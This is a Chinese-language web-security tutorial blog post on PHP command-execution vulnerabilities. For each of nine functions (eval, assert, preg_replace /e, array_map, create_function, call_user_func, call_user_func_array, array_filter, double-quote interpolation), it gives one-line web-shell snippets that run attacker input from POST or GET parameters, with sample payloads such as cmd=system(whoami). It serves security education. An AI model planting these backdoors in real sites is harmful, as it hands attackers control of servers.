前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >WEB安全基础 - - -命令执行漏洞

WEB安全基础 - - -命令执行漏洞

作者头像
干掉芹菜
发布2022-11-19 14:21:55
1.3K0
发布2022-11-19 14:21:55
举报
文章被收录于专栏:网络安全615网络安全615

目录

命令执行漏洞简介:

原因:

危害:

PHP代码执行函数

1.eval

2.assert

3. preg_replace

4. array_map

5. create_function

6. call_user_

 7. call_user_func_array

8. array_filter

9. 双引号  

命令执行漏洞简介:

原因:

未对用户输入进行检查过滤,导致用户输入的参数被应用当成命令来执行。 命令执行漏洞是指应用有时需要调用一些执行系统命令的函数,如:system()、exec()、shell_exec()、eval()、passthru()等函数,代码未对用户可控参数做过滤,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。

危害:

1. 继承 Web 服务程序的权限去执行系统命令或读写文件

2. 反弹 shell ,获得目标服务器的权限

3. 进一步内网渗透

PHP代码执行函数

1.eval

在一些程序语言中,eval 是一个把字符串当作表达式执行而返回一个结果的函数;在另一些之中,它执行多行的代码就好像它们被包括在其中,而不是包括 eval 的这一行。eval 的输入不一定是字符串;在支持句法抽象的语言(如 Lisp)中,eval 的输入将会由抽象句法形式组成。

例子

<?php @eval($_POST['cmd']) ; ?>

eval() 函数传入的参数必须为PHP代码,即要以分号结尾

弊端:eval函数可以执行任意php代码

2.assert

断言函数,用于在调试过程中捕捉程序的错误。 “断言”在语文中的意思是“断定”、“十分肯定地说”,在编程中是指对某种假设条件进行检测,如果条件成立就不进行任何操作,如果条件不成立就捕捉到这种错误,并打印出错误信息,终止程序执行。 如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

例子:

<?php @assert($_POST['cmd'])?>

不需要以分号结尾

3. preg_replace

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

preg_replace — 执行一个正则表达式的搜索和替换

<?php preg_replace("/test/e",$_POST["cmd"],"just test"); ?>

//preg_replace(' 正则规则 ',' 替换字符 ' , ' 目标字符 ')

//PCRE修饰符 e : preg_replace() 在进行了对替换字符串的后向引用替换之后 ,

// 将替换后的字符串作为 php 代码评估执行 (eval 函数方式 ), 并使用执行结果作为实

际参与替换的字符串

4. array_map

 array_map ( callable callback , array array1 [, array )

将函数作用到数组中的每个值上,每个值都乘以本身,并返回带有新值的数组 

数组的每个元素应用回调函数

<?php $func=$_GET['func']; $cmd=$_POST['cmd']; $array[0]=$cmd; $new_array=array_map($func,$array); echo $new_array; //array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定 义函数作用后的带有新值的数组。 ?>

5. create_function

create_function(字符串args、字符串code):字符串

 从传递的参数动态创建函数,并为其返回唯一名称。

<?php $func = create_function('',$_POST['cmd']);$func(); //创建匿名函数执行代码 ?>

6. call_user_

call_user_func ( callable callback [, mixed parameter [, mixed

call_user_func — 把第一个参数作为回调函数调用

<?php call_user_func("assert",$_POST['cmd']); //传入的参数作为assert函数的参数 //cmd=system(whoami) ?>

7. call_user_func_array

call_user_func_array(callable callback, array args): mixed

把第一个参数作为回调函数(callback)调用,把参数数组作(args)为回调函数的的参数传入。

<?php $cmd=$_POST['cmd']; $array[0]=$cmd; call_user_func_array("assert",$array); //将传入的参数作为数组的第一个值传递给assert函数 //cmd=system(whoami) ?>

8. array_filter

array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

用回调函数过滤数组中的元素 

array_filter() 函数用回调函数过滤数组中的值。

该函数把输入数组中的每个键值传给回调函数。如果回调函数返回 true,则把输入数组中的当前键值返回结果数组中。数组键名保持不变。

<?php $cmd=$_POST['cmd']; $array1=array($cmd); $func =$_GET['func']; array_filter($array1,$func); //用回调函数过滤数组中的元素:array_filter(数组,函数) //?func=system //cmd=whoami ?>

9. 双引号

<?php // echo "phpinfo()"; echo "{${phpinfo()}}"; ?>

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-07-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 命令执行漏洞简介:
    • 原因:
      • 危害:
      • PHP代码执行函数
        • 1.eval
          • 2.assert
            • 3. preg_replace
              • 4. array_map
                • 5. create_function
                  • 6. call_user_
                    • 7. call_user_func_array
                      • 8. array_filter
                        • 9. 双引号
                        相关产品与服务
                        命令行工具
                        腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
                        领券
                        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档